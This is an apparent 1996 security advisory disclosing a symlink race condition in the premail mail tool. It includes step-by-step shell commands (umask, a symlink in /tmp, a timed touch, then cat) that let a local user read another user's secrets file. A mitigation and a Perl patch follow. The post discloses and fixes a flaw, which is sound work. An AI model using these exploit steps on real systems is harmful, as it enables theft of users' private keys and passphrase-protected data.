Security hole in premail

[Mixmaster <lucifer@dhp.com>]

There's a pretty nasty bug in premail that allows any non-root to obtain the
contents of the premail secrets file.  This is a race condition that can be
exploited because an indefinite amount of time can pass between the time that
premail checks if the secrets file exists and when it tries to write to the
file.  It can be exploited as follows:

attacker:

$ umask 111
$ ln -s ~/premail-secrets-file /tmp/.premail-secrets.$<

normal user:

$ premail -login
Remember to logout when done.
Your premail passphrase, please:

All the attacker has to do is execute "touch premail-secrets-file" between the
time that the user is prompted for the passphrase and the time when the login
is completed.

$ ls -al premail-secrets-file
-rw-rw-rw-   1 d00d    nogroup          19 Dec 20 19:01 premail-secrets-file 
$ cat premail-secrets-file
[contents of premail secrets file]

This bug can be fixed in two ways.  One way is to set the premail-secrets
setting to some non-world-writable directory.  The second way is to apply the
following patch:

*** premail.orig	Fri Dec 20 18:46:01 1996
--- premail	Fri Dec 20 18:55:54 1996
***************
*** 3574,3579 ****
--- 3574,3582 ----
      }
      for ($triesleft = 2; !$done && $triesleft; $triesleft--) {
  	$pass = &getpass ($x);
+ 	if(!-O $ps) {
+ 		&error ("Secrets file exists and is owned by another user\n");
+ 	}
  	$status = &decrypt_secrets ($ps_pgp, $ps, $pass);
  	if (!-s $ps) { unlink $ps; }
  	$done = (!$status && -e $ps);